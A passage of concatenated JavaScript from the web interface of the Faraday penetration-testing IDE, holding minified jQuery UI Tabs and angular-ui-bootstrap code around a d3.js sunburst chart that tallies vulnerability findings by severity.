t(a).attr("aria-controls")===n?(i=s,!1):e}),null===i&&(i=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===i||-1===i)&&(i=this.tabs.length?0:!1)),i!==!1&&(i=this.tabs.index(this.tabs.eq(i)),-1===i&&(i=s?!1:0)),!s&&i===!1&&this.anchors.length&&(i=0),i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):t()}},_tabKeydown:function(i){var s=t(this.document[0].activeElement).closest("li"),n=this.tabs.index(s),a=!0;if(!this._handlePageNav(i)){switch(i.keyCode){case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:n++;break;case t.ui.keyCode.UP:case t.ui.keyCode.LEFT:a=!1,n--;break;case t.ui.keyCode.END:n=this.anchors.length-1;break;case t.ui.keyCode.HOME:n=0;break;case t.ui.keyCode.SPACE:return i.preventDefault(),clearTimeout(this.activating),this._activate(n),e;case t.ui.keyCode.ENTER:return i.preventDefault(),clearTimeout(this.activating),this._activate(n===this.options.active?!1:n),e;default:return}i.preventDefault(),clearTimeout(this.activating),n=this._focusNextTab(n,a),i.ctrlKey||(s.attr("aria-selected","false"),this.tabs.eq(n).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",n)},this.delay))}},_panelKeydown:function(e){this._handlePageNav(e)||e.ctrlKey&&e.keyCode===t.ui.keyCode.UP&&(e.preventDefault(),this.active.focus())},_handlePageNav:function(i){return i.altKey&&i.keyCode===t.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):i.altKey&&i.keyCode===t.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):e},_findNextTab:function(e,i){function s(){return e>n&&(e=0),0>e&&(e=n),e}for(var n=this.tabs.length-1;-1!==t.inArray(s(),this.options.disabled);)e=i?e+1:e-1;return e},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).focus(),t},_setOption:function(t,i){return"active"===t?(this._activate(i),e):"disabled"===t?(this._setupDisabled(i),e):(this._super(t,i),"collapsible"===t&&(this.element.toggleClass("ui-tabs-collapsible",i),i||this.options.active!==!1||this._activate(0)),"event"===t&&this._setupEvents(i),"heightStyle"===t&&this._setupHeightStyle(i),e)},_tabId:function(t){return t.attr("aria-controls")||"ui-tabs-"+i()},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var e=this.options,i=this.tablist.children(":has(a[href])");e.disabled=t.map(i.filter(".ui-state-disabled"),function(t){return i.index(t)}),this._processTabs(),e.active!==!1&&this.anchors.length?this.active.length&&!t.contains(this.tablist[0],this.active[0])?this.tabs.length===e.disabled.length?(e.active=!1,this.active=t()):this._activate(this._findNextTab(Math.max(0,e.active-1),!1)):e.active=this.tabs.index(this.active):(e.active=!1,this.active=t()),this._refresh()},_refresh:function(){this._setupDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-expanded":"false","aria-hidden":"true"}),this.active.length?(this.active.addClass("ui-tabs-active ui-state-active").attr({"aria-selected":"true",tabIndex:0}),this._getPanelForTab(this.active).show().attr({"aria-expanded":"true","aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var e=this;this.tablist=this._getList().addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").attr("role","tablist"),this.tabs=this.tablist.find("> li:has(a[href])").addClass("ui-state-default ui-corner-top").attr({role:"tab",tabIndex:-1}),this.anchors=this.tabs.map(function(){return t("a",this)[0]}).addClass("ui-tabs-anchor").attr({role:"presentation",tabIndex:-1}),this.panels=t(),this.anchors.each(function(i,n){var a,o,r,h=t(n).uniqueId().attr("id"),l=t(n).closest("li"),c=l.attr("aria-controls");s(n)?(a=n.hash,o=e.element.find(e._sanitizeSelector(a))):(r=e._tabId(l),a="#"+r,o=e.element.find(a),o.length||(o=e._createPanel(r),o.insertAfter(e.panels[i-1]||e.tablist)),o.attr("aria-live","polite")),o.length&&(e.panels=e.panels.add(o)),c&&l.data("ui-tabs-aria-controls",c),l.attr({"aria-controls":a.substring(1),"aria-labelledby":h}),o.attr("aria-labelledby",h)}),this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").attr("role","tabpanel")},_getList:function(){return this.tablist||this.element.find("ol,ul").eq(0)},_createPanel:function(e){return t("<div>").attr("id",e).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").data("ui-tabs-destroy",!0)},_setupDisabled:function(e){t.isArray(e)&&(e.length?e.length===this.anchors.length&&(e=!0):e=!1);for(var i,s=0;i=this.tabs[s];s++)e===!0||-1!==t.inArray(s,e)?t(i).addClass("ui-state-disabled").attr("aria-disabled","true"):t(i).removeClass("ui-state-disabled").removeAttr("aria-disabled");this.options.disabled=e},_setupEvents:function(e){var i={click:function(t){t.preventDefault()}};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(e){var i,s=this.element.parent();"fill"===e?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var e=t(this),s=e.css("position");"absolute"!==s&&"fixed"!==s&&(i-=e.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=t(this).outerHeight(!0)}),this.panels.each(function(){t(this).height(Math.max(0,i-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.panels.each(function(){i=Math.max(i,t(this).height("").height())}).height(i))},_eventHandler:function(e){var i=this.options,s=this.active,n=t(e.currentTarget),a=n.closest("li"),o=a[0]===s[0],r=o&&i.collapsible,h=r?t():this._getPanelForTab(a),l=s.length?this._getPanelForTab(s):t(),c={oldTab:s,oldPanel:l,newTab:r?t():a,newPanel:h};e.preventDefault(),a.hasClass("ui-state-disabled")||a.hasClass("ui-tabs-loading")||this.running||o&&!i.collapsible||this._trigger("beforeActivate",e,c)===!1||(i.active=r?!1:this.tabs.index(a),this.active=o?t():a,this.xhr&&this.xhr.abort(),l.length||h.length||t.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(a),e),this._toggle(e,c))},_toggle:function(e,i){function s(){a.running=!1,a._trigger("activate",e,i)}function n(){i.newTab.closest("li").addClass("ui-tabs-active ui-state-active"),o.length&&a.options.show?a._show(o,a.options.show,s):(o.show(),s())}var a=this,o=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),n()}):(i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),r.hide(),n()),r.attr({"aria-expanded":"false","aria-hidden":"true"}),i.oldTab.attr("aria-selected","false"),o.length&&r.length?i.oldTab.attr("tabIndex",-1):o.length&&this.tabs.filter(function(){return 0===t(this).attr("tabIndex")}).attr("tabIndex",-1),o.attr({"aria-expanded":"true","aria-hidden":"false"}),i.newTab.attr({"aria-selected":"true",tabIndex:0})},_activate:function(e){var i,s=this._findActive(e);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return e===!1?t():this.tabs.eq(e)},_getIndex:function(t){return"string"==typeof t&&(t=this.anchors.index(this.anchors.filter("[href$='"+t+"']"))),t},_destroy:function(){this.xhr&&this.xhr.abort(),this.element.removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible"),this.tablist.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").removeAttr("role"),this.anchors.removeClass("ui-tabs-anchor").removeAttr("role").removeAttr("tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){t.data(this,"ui-tabs-destroy")?t(this).remove():t(this).removeClass("ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel").removeAttr("tabIndex").removeAttr("aria-live").removeAttr("aria-busy").removeAttr("aria-selected").removeAttr("aria-labelledby").removeAttr("aria-hidden").removeAttr("aria-expanded").removeAttr("role")}),this.tabs.each(function(){var e=t(this),i=e.data("ui-tabs-aria-controls");i?e.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):e.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var s=this.options.disabled;s!==!1&&(i===e?s=!1:(i=this._getIndex(i),s=t.isArray(s)?t.map(s,function(t){return t!==i?t:null}):t.map(this.tabs,function(t,e){return e!==i?e:null})),this._setupDisabled(s))},disable:function(i){var s=this.options.disabled;if(s!==!0){if(i===e)s=!0;else{if(i=this._getIndex(i),-1!==t.inArray(i,s))return;s=t.isArray(s)?t.merge([i],s).sort():[i]}this._setupDisabled(s)}},load:function(e,i){e=this._getIndex(e);var n=this,a=this.tabs.eq(e),o=a.find(".ui-tabs-anchor"),r=this._getPanelForTab(a),h={tab:a,panel:r};s(o[0])||(this.xhr=t.ajax(this._ajaxSettings(o,i,h)),this.xhr&&"canceled"!==this.xhr.statusText&&(a.addClass("ui-tabs-loading"),r.attr("aria-busy","true"),this.xhr.success(function(t){setTimeout(function(){r.html(t),n._trigger("load",i,h)},1)}).complete(function(t,e){setTimeout(function(){"abort"===e&&n.panels.stop(!1,!0),a.removeClass("ui-tabs-loading"),r.removeAttr("aria-busy"),t===n.xhr&&delete n.xhr},1)})))},_ajaxSettings:function(e,i,s){var n=this;return{url:e.attr("href"),beforeSend:function(e,a){return n._trigger("beforeLoad",i,t.extend({jqXHR:e,ajaxSettings:a},s))}}},_getPanelForTab:function(e){var i=t(e).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}})})(jQuery);
0 // Faraday Penetration Test IDE - Community Version
1 // Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
2 // See the file 'doc/LICENSE' for the license information
3
4 reports = ["compound", "byservices", "summarized", "vulns", "commands"];
5 designs = {"balls": "hosts", "treemap": "hosts", "byservices": "hosts", "summarized": "hosts", "vulns": "hosts", "compound": "hosts", "commands": 'commands'};
6 views = {"balls": "byservices", "treemap": "byservices", "tuvieja": "summarized", "byservices": "byservices", "summarized": "summarized", "vulns": "vulns", "compound": "compound", "commands":"list"};
7 sizes = {"byservices": "450", "summarized": "250", "vulns" : "200", "compound": ""}
8
0 // Dimensions of sunburst.
1 var width = 750;
2 var height = 600;
3 var radius = Math.min(width, height) / 2;
4
5 // Breadcrumb dimensions: width, height, spacing, width of tip/tail.
6 var b = {
7 w: 75, h: 30, s: 3, t: 10
8 };
9
10 // Mapping of step names to colors.
11 var colors = {
12 "low": "#8DB600",
13 "med": "#ffff00",
14 "critical": "#8B00FF",
15 "high": "#B80000",
16 "info": "#E8E8E8"
17 };
18
19 // Total size of all segments; we set this later, after loading the data.
20 var totalSize = 0;
21
22 var vis = d3.select("#chart").append("svg:svg")
23 .attr("width", width)
24 .attr("height", height)
25 .append("svg:g")
26 .attr("id", "container")
27 .attr("transform", "translate(" + width / 2 + "," + height / 2 + ")");
28
29 var partition = d3.layout.partition()
30 .size([2 * Math.PI, radius * radius])
31 .value(function(d) { return d.value; });
32
33 var arc = d3.svg.arc()
34 .startAngle(function(d) { return d.x; })
35 .endAngle(function(d) { return d.x + d.dx; })
36 .innerRadius(function(d) { return Math.sqrt(d.y); })
37 .outerRadius(function(d) { return Math.sqrt(d.y + d.dy); });
38
39 var workspace = getParameterByName('workspace');
40 var design = getParameterByName('design');
41 var view = getParameterByName('view');
42
43 json_url = "/" + workspace + "/_design/" + design + "/_view/" + view + "?group=true";
44 d3.json(json_url, function(error, root) {
45 console.log(root);
46 var jotason = {};
47 jotason["children"] = root["rows"];
48 console.log(jotason);
49 var json_finish = get_low(jotason);
50 createVisualization(json_finish);
51 });
52
53 // Main function to draw and set up the visualization, once we have the data.
54 function createVisualization(json) {
55 // Basic setup of page elements.
56 initializeBreadcrumbTrail();
57 drawLegend();
58 d3.select("#togglelegend").on("click", toggleLegend);
59
60 // Bounding circle underneath the sunburst, to make it easier to detect
61 // when the mouse leaves the parent g.
62 vis.append("svg:circle")
63 .attr("r", radius)
64 .style("opacity", 0);
65
66 // For efficiency, filter nodes to keep only those large enough to see.
67 var nodes = partition.nodes(json)
68 .filter(function(d) {
69 return (d.dx > 0.005); // 0.005 radians = 0.29 degrees
70 });
71
72 var path = vis.data([json]).selectAll("path")
73 .data(nodes)
74 .enter().append("svg:path")
75 .attr("display", function(d) { return d.depth ? null : "none"; })
76 .attr("d", arc)
77 .attr("fill-rule", "evenodd")
78 .style("fill", function(d) {return colors[d.key]; })
79 .style("opacity", 1)
80 .on("mouseover", mouseover);
81
82 // Add the mouseleave handler to the bounding circle.
83 d3.select("#container").on("mouseleave", mouseleave);
84
85 // Get total size of the tree = value of root node from partition.
86 totalSize = path.node().__data__.value;
87 };
88
89 // Fade all but the current sequence, and show it in the breadcrumb trail.
90 function mouseover(d) {
91
92 var percentage = (100 * d.value / totalSize).toPrecision(3);
93 var percentageString = d.key +": "+ d.value + " " + percentage + "%";
94 if (percentage < 0.1) {
95 percentageString = d.value;
96 }
97
98 d3.select("#percentage")
99 .text(percentageString);
100
101 d3.select("#explanation")
102 .style("visibility", "");
103
104 var sequenceArray = getAncestors(d);
105 updateBreadcrumbs(sequenceArray, percentageString);
106
107 // Fade all the segments.
108 d3.selectAll("path")
109 .style("opacity", 0.3);
110
111 // Then highlight only those that are an ancestor of the current segment.
112 vis.selectAll("path")
113 .filter(function(node) {
114 return (sequenceArray.indexOf(node) >= 0);
115 })
116 .style("opacity", 1);
117 }
118
119 // Restore everything to full opacity when moving off the visualization.
120 function mouseleave(d) {
121
122 // Hide the breadcrumb trail
123 d3.select("#trail")
124 .style("visibility", "hidden");
125
126 // Deactivate all segments during transition.
127 d3.selectAll("path").on("mouseover", null);
128
129 // Transition each segment to full opacity and then reactivate it.
130 d3.selectAll("path")
131 .transition()
132 .duration(1000)
133 .style("opacity", 1)
134 .each("end", function() {
135 d3.select(this).on("mouseover", mouseover);
136 });
137
138 d3.select("#explanation")
139 .style("visibility", "hidden");
140 }
141
142 // Given a node in a partition layout, return an array of all of its ancestor
143 // nodes, highest first, but excluding the root.
144 function getAncestors(node) {
145 var path = [];
146 var current = node;
147 while (current.parent) {
148 path.unshift(current);
149 current = current.parent;
150 }
151 return path;
152 }
153
154 function initializeBreadcrumbTrail() {
155 // Add the svg area.
156 var trail = d3.select("#sequence").append("svg:svg")
157 .attr("width", width)
158 .attr("height", 50)
159 .attr("id", "trail");
160 // Add the label at the end, for the percentage.
161 trail.append("svg:text")
162 .attr("id", "endlabel")
163 .style("fill", "#000");
164 }
165
166 // Generate a string that describes the points of a breadcrumb polygon.
167 function breadcrumbPoints(d, i) {
168 var points = [];
169 points.push("0,0");
170 points.push(b.w + ",0");
171 points.push(b.w + b.t + "," + (b.h / 2));
172 points.push(b.w + "," + b.h);
173 points.push("0," + b.h);
174 if (i > 0) { // Leftmost breadcrumb; don't include 6th vertex.
175 points.push(b.t + "," + (b.h / 2));
176 }
177 return points.join(" ");
178 }
179
180 // Update the breadcrumb trail to show the current sequence and percentage.
181 function updateBreadcrumbs(nodeArray, percentageString) {
182
183 // Data join; key function combines name and depth (= position in sequence).
184 var g = d3.select("#trail")
185 .selectAll("g")
186 .data(nodeArray, function(d) { return d.key + d.depth; });
187
188 // Add breadcrumb and label for entering nodes.
189 var entering = g.enter().append("svg:g");
190
191 entering.append("svg:polygon")
192 .attr("points", breadcrumbPoints)
193 .style("fill", function(d) {return colors[d.key]; });
194
195 entering.append("svg:text")
196 .attr("x", (b.w + b.t) / 2)
197 .attr("y", b.h / 2)
198 .attr("dy", "0.35em")
199 .attr("text-anchor", "middle")
200 .text(function(d) { return d.key; });
201
202 // Set position for entering and updating nodes.
203 g.attr("transform", function(d, i) {
204 return "translate(" + i * (b.w + b.s) + ", 0)";
205 });
206
207 // Remove exiting nodes.
208 g.exit().remove();
209
210 // Now move and update the percentage at the end.
211 d3.select("#trail").select("#endlabel")
212 .attr("x", (nodeArray.length + 0.5) * (b.w + b.s + 10))
213 .attr("y", b.h / 2)
214 .attr("dy", "0.35em")
215 .attr("text-anchor", "middle")
216 .text(percentageString);
217
218 // Make the breadcrumb trail visible, if it's hidden.
219 d3.select("#trail")
220 .style("visibility", "");
221
222 }
223
224 function drawLegend() {
225
226 // Dimensions of legend item: width, height, spacing, radius of rounded rect.
227 var li = {
228 w: 75, h: 30, s: 3, r: 3
229 };
230
231 var legend = d3.select("#legend").append("svg:svg")
232 .attr("width", li.w)
233 .attr("height", d3.keys(colors).length * (li.h + li.s));
234
235 var g = legend.selectAll("g")
236 .data(d3.entries(colors))
237 .enter().append("svg:g")
238 .attr("transform", function(d, i) {
239 return "translate(0," + i * (li.h + li.s) + ")";
240 });
241
242 g.append("svg:rect")
243 .attr("rx", li.r)
244 .attr("ry", li.r)
245 .attr("width", li.w)
246 .attr("height", li.h)
247 .style("fill", function(d) { return d.value; });
248
249 g.append("svg:text")
250 .attr("x", li.w / 2)
251 .attr("y", li.h / 2)
252 .attr("dy", "0.35em")
253 .attr("text-anchor", "middle")
254 .text(function(d) { return d.key; });
255 }
256
257 function toggleLegend() {
258 var legend = d3.select("#legend");
259 if (legend.style("visibility") == "hidden") {
260 legend.style("visibility", "");
261 } else {
262 legend.style("visibility", "hidden");
263 }
264 }
265 function get_low(jotason){
266 var children = jotason["children"];
267 for (i = 0; i < 5; i++) {
268 jotason[i] = {};
269 jotason[i].value = 0;
270 }
271 jotason[0].key = "info";
272 jotason[1].key = "low";
273 jotason[2].key = "med";
274 jotason[3].key = "high";
275 jotason[4].key = "critical";
276
277 for(i = 0; i < children.length; i++){
278 if(children[i].key == 1 || children[i].key == "Information" || children[i].key == "info"){
279 jotason[0].value += children[i].value;
280 }
281 if(children[i].key == 2 || children[i].key == "Low"){
282 jotason[1].value += children[i].value;
283 }
284 if(children[i].key == 3 || children[i].key == "Medium"){
285 jotason[2].value += children[i].value;
286 }
287 if(children[i].key == 4 || children[i].key == "High"){
288 jotason[3].value += children[i].value;
289 }
290 if(children[i].key == 5 || children[i].key == "Critical"){
291 jotason[4].value += children[i].value;
292 }
293 }
294 jotason["children"] = [];
295 for (i = 0; i < 5; i++) {
296 jotason["children"].push(jotason[i]);
297 }
298 return jotason;
299 }
300 //function para traer parametros
301 function getParameterByName( name ){
302 name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
303 var regexS = "[\\?&]"+name+"=([^&#]*)";
304 var regex = new RegExp( regexS );
305 var results = regex.exec( window.location.href );
306 if( results == null )
307 return "";
308 else
309 return decodeURIComponent(results[1].replace(/\+/g, " "));
310 }
0 /*
1 * angular-ui-bootstrap
2 * http://angular-ui.github.io/bootstrap/
3
4 * Version: 0.11.2 - 2014-09-26
5 * License: MIT
6 */
7 angular.module("ui.bootstrap",["ui.bootstrap.tpls","ui.bootstrap.transition","ui.bootstrap.collapse","ui.bootstrap.accordion","ui.bootstrap.alert","ui.bootstrap.bindHtml","ui.bootstrap.buttons","ui.bootstrap.carousel","ui.bootstrap.dateparser","ui.bootstrap.position","ui.bootstrap.datepicker","ui.bootstrap.dropdown","ui.bootstrap.modal","ui.bootstrap.pagination","ui.bootstrap.tooltip","ui.bootstrap.popover","ui.bootstrap.progressbar","ui.bootstrap.rating","ui.bootstrap.tabs","ui.bootstrap.timepicker","ui.bootstrap.typeahead"]),angular.module("ui.bootstrap.tpls",["template/accordion/accordion-group.html","template/accordion/accordion.html","template/alert/alert.html","template/carousel/carousel.html","template/carousel/slide.html","template/datepicker/datepicker.html","template/datepicker/day.html","template/datepicker/month.html","template/datepicker/popup.html","template/datepicker/year.html","template/modal/backdrop.html","template/modal/window.html","template/pagination/pager.html","template/pagination/pagination.html","template/tooltip/tooltip-html-unsafe-popup.html","template/tooltip/tooltip-popup.html","template/popover/popover.html","template/progressbar/bar.html","template/progressbar/progress.html","template/progressbar/progressbar.html","template/rating/rating.html","template/tabs/tab.html","template/tabs/tabset.html","template/timepicker/timepicker.html","template/typeahead/typeahead-match.html","template/typeahead/typeahead-popup.html"]),angular.module("ui.bootstrap.transition",[]).factory("$transition",["$q","$timeout","$rootScope",function(a,b,c){function d(a){for(var b in a)if(void 0!==f.style[b])return a[b]}var e=function(d,f,g){g=g||{};var h=a.defer(),i=e[g.animation?"animationEndEventName":"transitionEndEventName"],j=function(){c.$apply(function(){d.unbind(i,j),h.resolve(d)})};return i&&d.bind(i,j),b(function(){angular.isString(f)?d.addClass(f):angular.isFunction(f)?f(d):angular.isObject(f)&&d.css(f),i||h.resolve(d)}),h.promise.cancel=function(){i&&d.unbind(i,j),h.reject("Transition cancelled")},h.promise},f=document.createElement("trans"),g={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd",transition:"transitionend"},h={WebkitTransition:"webkitAnimationEnd",MozTransition:"animationend",OTransition:"oAnimationEnd",transition:"animationend"};return e.transitionEndEventName=d(g),e.animationEndEventName=d(h),e}]),angular.module("ui.bootstrap.collapse",["ui.bootstrap.transition"]).directive("collapse",["$transition",function(a){return{link:function(b,c,d){function e(b){function d(){j===e&&(j=void 0)}var e=a(c,b);return j&&j.cancel(),j=e,e.then(d,d),e}function f(){k?(k=!1,g()):(c.removeClass("collapse").addClass("collapsing"),e({height:c[0].scrollHeight+"px"}).then(g))}function g(){c.removeClass("collapsing"),c.addClass("collapse in"),c.css({height:"auto"})}function h(){if(k)k=!1,i(),c.css({height:0});else{c.css({height:c[0].scrollHeight+"px"});{c[0].offsetWidth}c.removeClass("collapse in").addClass("collapsing"),e({height:0}).then(i)}}function i(){c.removeClass("collapsing"),c.addClass("collapse")}var j,k=!0;b.$watch(d.collapse,function(a){a?h():f()})}}}]),angular.module("ui.bootstrap.accordion",["ui.bootstrap.collapse"]).constant("accordionConfig",{closeOthers:!0}).controller("AccordionController",["$scope","$attrs","accordionConfig",function(a,b,c){this.groups=[],this.closeOthers=function(d){var e=angular.isDefined(b.closeOthers)?a.$eval(b.closeOthers):c.closeOthers;e&&angular.forEach(this.groups,function(a){a!==d&&(a.isOpen=!1)})},this.addGroup=function(a){var b=this;this.groups.push(a),a.$on("$destroy",function(){b.removeGroup(a)})},this.removeGroup=function(a){var b=this.groups.indexOf(a);-1!==b&&this.groups.splice(b,1)}}]).directive("accordion",function(){return{restrict:"EA",controller:"AccordionController",transclude:!0,replace:!1,templateUrl:"template/accordion/accordion.html"}}).directive("accordionGroup",function(){return{require:"^accordion",restrict:"EA",transclude:!0,replace:!0,templateUrl:"template/accordion/accordion-group.html",scope:{heading:"@",isOpen:"=?",isDisabled:"=?"},controller:function(){this.setHeading=function(a){this.heading=a}},link:function(a,b,c,d){d.addGroup(a),a.$watch("isOpen",function(b){b&&d.closeOthers(a)}),a.toggleOpen=function(){a.isDisabled||(a.isOpen=!a.isOpen)}}}}).directive("accordionHeading",function(){return{restrict:"EA",transclude:!0,template:"",replace:!0,require:"^accordionGroup",link:function(a,b,c,d,e){d.setHeading(e(a,function(){}))}}}).directive("accordionTransclude",function(){return{require:"^accordionGroup",link:function(a,b,c,d){a.$watch(function(){return d[c.accordionTransclude]},function(a){a&&(b.html(""),b.append(a))})}}}),angular.module("ui.bootstrap.alert",[]).controller("AlertController",["$scope","$attrs",function(a,b){a.closeable="close"in b}]).directive("alert",function(){return{restrict:"EA",controller:"AlertController",templateUrl:"template/alert/alert.html",transclude:!0,replace:!0,scope:{type:"@",close:"&"}}}),angular.module("ui.bootstrap.bindHtml",[]).directive("bindHtmlUnsafe",function(){return function(a,b,c){b.addClass("ng-binding").data("$binding",c.bindHtmlUnsafe),a.$watch(c.bindHtmlUnsafe,function(a){b.html(a||"")})}}),angular.module("ui.bootstrap.buttons",[]).constant("buttonConfig",{activeClass:"active",toggleEvent:"click"}).controller("ButtonsController",["buttonConfig",function(a){this.activeClass=a.activeClass||"active",this.toggleEvent=a.toggleEvent||"click"}]).directive("btnRadio",function(){return{require:["btnRadio","ngModel"],controller:"ButtonsController",link:function(a,b,c,d){var e=d[0],f=d[1];f.$render=function(){b.toggleClass(e.activeClass,angular.equals(f.$modelValue,a.$eval(c.btnRadio)))},b.bind(e.toggleEvent,function(){var d=b.hasClass(e.activeClass);(!d||angular.isDefined(c.uncheckable))&&a.$apply(function(){f.$setViewValue(d?null:a.$eval(c.btnRadio)),f.$render()})})}}}).directive("btnCheckbox",function(){return{require:["btnCheckbox","ngModel"],controller:"ButtonsController",link:function(a,b,c,d){function e(){return g(c.btnCheckboxTrue,!0)}function f(){return g(c.btnCheckboxFalse,!1)}function g(b,c){var d=a.$eval(b);return angular.isDefined(d)?d:c}var h=d[0],i=d[1];i.$render=function(){b.toggleClass(h.activeClass,angular.equals(i.$modelValue,e()))},b.bind(h.toggleEvent,function(){a.$apply(function(){i.$setViewValue(b.hasClass(h.activeClass)?f():e()),i.$render()})})}}}),angular.module("ui.bootstrap.carousel",["ui.bootstrap.transition"]).controller("CarouselController",["$scope","$timeout","$transition",function(a,b,c){function d(){e();var c=+a.interval;!isNaN(c)&&c>=0&&(g=b(f,c))}function e(){g&&(b.cancel(g),g=null)}function f(){h?(a.next(),d()):a.pause()}var g,h,i=this,j=i.slides=a.slides=[],k=-1;i.currentSlide=null;var l=!1;i.select=a.select=function(e,f){function g(){if(!l){if(i.currentSlide&&angular.isString(f)&&!a.noTransition&&e.$element){e.$element.addClass(f);{e.$element[0].offsetWidth}angular.forEach(j,function(a){angular.extend(a,{direction:"",entering:!1,leaving:!1,active:!1})}),angular.extend(e,{direction:f,active:!0,entering:!0}),angular.extend(i.currentSlide||{},{direction:f,leaving:!0}),a.$currentTransition=c(e.$element,{}),function(b,c){a.$currentTransition.then(function(){h(b,c)},function(){h(b,c)})}(e,i.currentSlide)}else h(e,i.currentSlide);i.currentSlide=e,k=m,d()}}function h(b,c){angular.extend(b,{direction:"",active:!0,leaving:!1,entering:!1}),angular.extend(c||{},{direction:"",active:!1,leaving:!1,entering:!1}),a.$currentTransition=null}var m=j.indexOf(e);void 0===f&&(f=m>k?"next":"prev"),e&&e!==i.currentSlide&&(a.$currentTransition?(a.$currentTransition.cancel(),b(g)):g())},a.$on("$destroy",function(){l=!0}),i.indexOfSlide=function(a){return j.indexOf(a)},a.next=function(){var b=(k+1)%j.length;return a.$currentTransition?void 0:i.select(j[b],"next")},a.prev=function(){var b=0>k-1?j.length-1:k-1;return a.$currentTransition?void 0:i.select(j[b],"prev")},a.isActive=function(a){return i.currentSlide===a},a.$watch("interval",d),a.$on("$destroy",e),a.play=function(){h||(h=!0,d())},a.pause=function(){a.noPause||(h=!1,e())},i.addSlide=function(b,c){b.$element=c,j.push(b),1===j.length||b.active?(i.select(j[j.length-1]),1==j.length&&a.play()):b.active=!1},i.removeSlide=function(a){var b=j.indexOf(a);j.splice(b,1),j.length>0&&a.active?i.select(b>=j.length?j[b-1]:j[b]):k>b&&k--}}]).directive("carousel",[function(){return{restrict:"EA",transclude:!0,replace:!0,controller:"CarouselController",require:"carousel",templateUrl:"template/carousel/carousel.html",scope:{interval:"=",noTransition:"=",noPause:"="}}}]).directive("slide",function(){return{require:"^carousel",restrict:"EA",transclude:!0,replace:!0,templateUrl:"template/carousel/slide.html",scope:{active:"=?"},link:function(a,b,c,d){d.addSlide(a,b),a.$on("$destroy",function(){d.removeSlide(a)}),a.$watch("active",function(b){b&&d.select(a)})}}}),angular.module("ui.bootstrap.dateparser",[]).service("dateParser",["$locale","orderByFilter",function(a,b){function c(a){var c=[],d=a.split("");return angular.forEach(e,function(b,e){var f=a.indexOf(e);if(f>-1){a=a.split(""),d[f]="("+b.regex+")",a[f]="$";for(var g=f+1,h=f+e.length;h>g;g++)d[g]="",a[g]="$";a=a.join(""),c.push({index:f,apply:b.apply})}}),{regex:new RegExp("^"+d.join("")+"$"),map:b(c,"index")}}function d(a,b,c){return 1===b&&c>28?29===c&&(a%4===0&&a%100!==0||a%400===0):3===b||5===b||8===b||10===b?31>c:!0}this.parsers={};var e={yyyy:{regex:"\\d{4}",apply:function(a){this.year=+a}},yy:{regex:"\\d{2}",apply:function(a){this.year=+a+2e3}},y:{regex:"\\d{1,4}",apply:function(a){this.year=+a}},MMMM:{regex:a.DATETIME_FORMATS.MONTH.join("|"),apply:function(b){this.month=a.DATETIME_FORMATS.MONTH.indexOf(b)}},MMM:{regex:a.DATETIME_FORMATS.SHORTMONTH.join("|"),apply:function(b){this.month=a.DATETIME_FORMATS.SHORTMONTH.indexOf(b)}},MM:{regex:"0[1-9]|1[0-2]",apply:function(a){this.month=a-1}},M:{regex:"[1-9]|1[0-2]",apply:function(a){this.month=a-1}},dd:{regex:"[0-2][0-9]{1}|3[0-1]{1}",apply:function(a){this.date=+a}},d:{regex:"[1-2]?[0-9]{1}|3[0-1]{1}",apply:function(a){this.date=+a}},EEEE:{regex:a.DATETIME_FORMATS.DAY.join("|")},EEE:{regex:a.DATETIME_FORMATS.SHORTDAY.join("|")}};this.parse=function(b,e){if(!angular.isString(b)||!e)return b;e=a.DATETIME_FORMATS[e]||e,this.parsers[e]||(this.parsers[e]=c(e));var f=this.parsers[e],g=f.regex,h=f.map,i=b.match(g);if(i&&i.length){for(var 